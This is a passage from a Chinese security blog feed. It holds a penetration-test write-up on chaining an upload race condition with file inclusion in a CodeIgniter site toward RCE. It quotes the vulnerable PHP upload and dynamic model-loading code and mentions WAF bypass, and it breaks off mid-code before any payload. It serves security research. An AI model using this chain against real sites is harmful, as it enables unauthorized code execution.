15px;">1.[JVM源码分析之javaagent原理完全解读](<a href="https://developer.aliyun.com/article/2946)" target="_blank">https://developer.aliyun.com/article/2946)</a></span></p><p><br/></p><p><span style="font-size: 15px;">2.[javaagent使用指南]</span></p><p><span style="font-size: 15px;">(<a href="https://www.cnblogs.com/rickiyang/p/11368932.html)" target="_blank">https://www.cnblogs.com/rickiyang/p/11368932.html)</a></span></p><p><br/></p><p><span style="font-size: 15px;">3.[Java Agent基本简介和使用]</span></p><p><span style="font-size: 15px;">(<a href="https://www.jianshu.com/p/de6bde2e30a2)" target="_blank">https://www.jianshu.com/p/de6bde2e30a2)</a></span></p></section></section></section></section></section><section data-role="paragraph" data-color="#ff8124"><p><br/></p></section></section><p><br/></p>



<p><a href="2247484071">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=917e06ce&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484071%26idx%3D1%26sn%3Deb5dad6fdb758a41311e3ac8998433a2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Mar 2021 18:40:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次跌宕起伏的白盒审计到RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484045&amp;idx=1&amp;sn=d8b55ddd884911b72316d855ae84548f</link>
      <description>记一次跌宕起伏的白盒审计到RCE~</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-03-16 18:01</span> <span style="display: inline-block;"></span>
</p>

<p>记一次跌宕起伏的白盒审计到RCE~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2ae0c3b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf2hSIYMDvJJ09S4SuPmPlbv5xvuKdQGnwu1AxYnvImp0LbRHLhnZLM3bLxrU7I3r620Ay3jUth9Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="102870" data-color="#1e9be8"><section style="margin: 10px auto;text-align: center;"><section><section data-brushtype="text" style="font-size: 35px;letter-spacing: 1.5px;padding-right: 0em;padding-left: 0em;color: rgb(30, 155, 232);font-weight: bold;box-sizing: border-box;" hm_fix="351:436"><span style="font-size: 24px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">记一次跌宕起伏的白盒审计到RCE</span></section><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(30, 155, 232);padding: 3px;border-radius: 100%;box-sizing: border-box;"><section style="box-sizing: border-box;width: 7px;height: 7px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-right: 10px;padding-left: 10px;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">零鉴科技</span></section><section style="border-width: 1px;border-style: solid;border-color: rgb(30, 155, 232);padding: 3px;border-radius: 100%;box-sizing: border-box;"><section style="box-sizing: border-box;width: 7px;height: 7px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102897" data-color="#1e9be8"><section style="margin: 10px auto;"><section style="display: inline-block;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-right: 1em;margin-left: 1em;background: rgb(255, 255, 255);"><section style="box-sizing: border-box;width: 8px;height: 8px;background: rgb(30, 155, 232);border-radius: 100%;color: rgb(255, 255, 255);overflow: hidden;"><br/></section><section style="font-size: 25px;letter-spacing: 1.5px;font-weight: bold;color: rgb(30, 155, 232);margin-right: 8px;margin-left: 8px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">引言</span></section></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(30, 155, 232);padding: 1em;border-radius: 8px;margin-top: -21px;box-sizing: border-box;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(30, 155, 232);"><p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在一次项目中，前期拿到了站点的源码，队里师傅白盒审出了一条曲折的利用链，现在对这条链的挖掘过程重新做一次复现并记录。</span></p><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这条链涉及经典漏洞包括：session 伪造、任意文件上传、条件竞争、文件包含，每一个漏洞都非常经典，串在一起变成了一个 big boom。</span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">前排说明：目标站点使用框架为 CodeIgniter，本文目的是技术研究和思路分享，涉及到关于目标站点的信息已被隐去，相关代码特征如变量、函数的命名也已替换，但代码的逻辑均保留，仍具备参考价值。</span></p></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102866" data-color="#1e9be8"><section style="margin: 10px auto;text-align: left;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(255, 255, 255);background: rgb(30, 155, 232);"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>PART1.</strong></span></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>找到上传点</strong></span></section><section style="box-sizing: border-box;width: 10px;height: 10px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="94255" data-color="#1e9be8"><section style="background: #1e9be8;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">检索一遍没有发现明显的命令注入、代码注入。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">转而找上传或文件写入漏洞，主要关注 file_put_contents 和 move_uploaded_files 等函数</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在某一个上传接口 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/uploadController/uploadMethod</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 中，找到如下代码段：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer">$fileInput = $_FILES;</span></code><code><span class="code-snippet_outer">$targetPath = &#34;/tmp/&#34;;</span></code><code><span class="code-snippet_outer">$file = $targetPath . basename($fileInput[<span class="code-snippet__string">&#39;uploadedFile&#39;</span>][<span class="code-snippet__symbol">&#39;name&#39;</span>]);</span></code><code><span class="code-snippet_outer">move<span class="code-snippet__emphasis">_uploaded_</span>file($fileInput[<span class="code-snippet__string">&#39;uploadedFile&#39;</span>][<span class="code-snippet__symbol">&#39;tmp_name&#39;</span>], $file);</span></code><code><span class="code-snippet_outer">$multipartParams = [</span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    ......</span></span></code><code><span class="code-snippet_outer">];</span></code><code><span class="code-snippet_outer">$result = apiRequest(</span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    &#39;POST&#39;,</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    ......</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    $multipartParams</span></span></code><code><span class="code-snippet_outer">);</span></code><code><span class="code-snippet_outer">if (file_exists($file)) {</span></code><code><span class="code-snippet_outer">   unlink($file);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">代码的逻辑很清晰：</span></p><p style="text-align: left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.从 $_FILES 中提取出 uploadedFile 这个文件，保留上传时的文件名，并将其移动到 /tmp 目录下。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.构造一个表单，其中 imageFile 参数即为第一步中被移动的文件，然后和其他参数一起 POST 向另一个接口。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.经典“卸磨杀驴”，删除刚刚移动的文件。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后这里就算是一个 “不稳定” 的文件上传点，路径为 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/tmp/[上传文件名]</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">利用场景也 “被迫” 地让我们想好了：需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争，在文件被删除之前包含它，来达到执行代码的效果。</span></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102866" data-color="#1e9be8"><section style="margin: 10px auto;text-align: left;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(255, 255, 255);background: rgb(30, 155, 232);"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>PART2.</strong></span></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>找文件包含</strong></span></section><section style="box-sizing: border-box;width: 10px;height: 10px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="94255" data-color="#1e9be8"><section style="background: #1e9be8;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><br/></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 0.4em 1em;box-sizing: border-box;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">目标是找到能控制文件路径的包含点，这里发现了一个 Meathods 类，它包含一个 method1 方法符合我们的需求。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">method1</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    header(<span class="code-snippet__string">&#39;Content-Type: application/json&#39;</span>);</span></code><code><span class="code-snippet_outer">    $response = <span class="code-snippet__keyword">array</span>();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">$this</span>-&gt;input-&gt;is_ajax_request()) {</span></code><code><span class="code-snippet_outer">        $data = <span class="code-snippet__keyword">$this</span>-&gt;input-&gt;post(<span class="code-snippet__keyword">null</span>, <span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">empty</span>($data)) {</span></code><code><span class="code-snippet_outer">            $data = <span class="code-snippet__keyword">$this</span>-&gt;input-&gt;get(<span class="code-snippet__keyword">null</span>, <span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        $class = $data[<span class="code-snippet__string">&#39;class&#39;</span>];</span></code><code><span class="code-snippet_outer">        $method = $data[<span class="code-snippet__string">&#39;method&#39;</span>];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">$this</span>-&gt;isMethodAllowed($method)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unset</span>($data[<span class="code-snippet__string">&#39;class&#39;</span>]);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unset</span>($data[<span class="code-snippet__string">&#39;method&#39;</span>]);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;load-&gt;model($class);</span></code><code><span class="code-snippet_outer">            $response = <span class="code-snippet__keyword">$this</span>-&gt;$class-&gt;$method($data);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这部分逻辑也很清晰</span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 &#34;XMLHttpRequest&#34; 来判断是不是异步请求，如果不是，则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.从 post 参数中获取请求的变量，如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性，在绕过 waf 方面能给我们提供更多选择)。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.获取到对应的 $class 和 $method 之后，isMethodAllowed() 检查了被调用的方法是否被允许。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.调用框架定义好的 this-&gt;load-&gt;model 方法来加载对应的类。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">避免有什么框架定义好的限制，有必要看一下 this-&gt;load-&gt;model 的逻辑。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">$this</span>-&gt;load =&amp; load_class(<span class="code-snippet__string">&#39;Loader&#39;</span>, <span class="code-snippet__string">&#39;core&#39;</span>);</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">load_class() 函数是框架与定义的函数，它会去对应的路径包含对应的文件，并加载其中的类，这样我们就找到了 this-&gt;load，也就有了 model 函数的代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">model</span><span class="code-snippet__params">($model, $name = <span class="code-snippet__string">&#39;&#39;</span>, $db_conn = FALSE)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    $path = <span class="code-snippet__string">&#39;&#39;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (($last_slash = strrpos($model, <span class="code-snippet__string">&#39;/&#39;</span>)) !== <span class="code-snippet__keyword">FALSE</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        $path = substr($model, <span class="code-snippet__number">0</span>, $last_slash + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">        $model = substr($model, $last_slash + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ($name == <span class="code-snippet__string">&#39;&#39;</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        $name = $model;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    $CI =&amp; get_instance();</span></code><code><span class="code-snippet_outer">    $model = strtolower($model);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">foreach</span> (<span class="code-snippet__keyword">$this</span>-&gt;_ci_model_paths <span 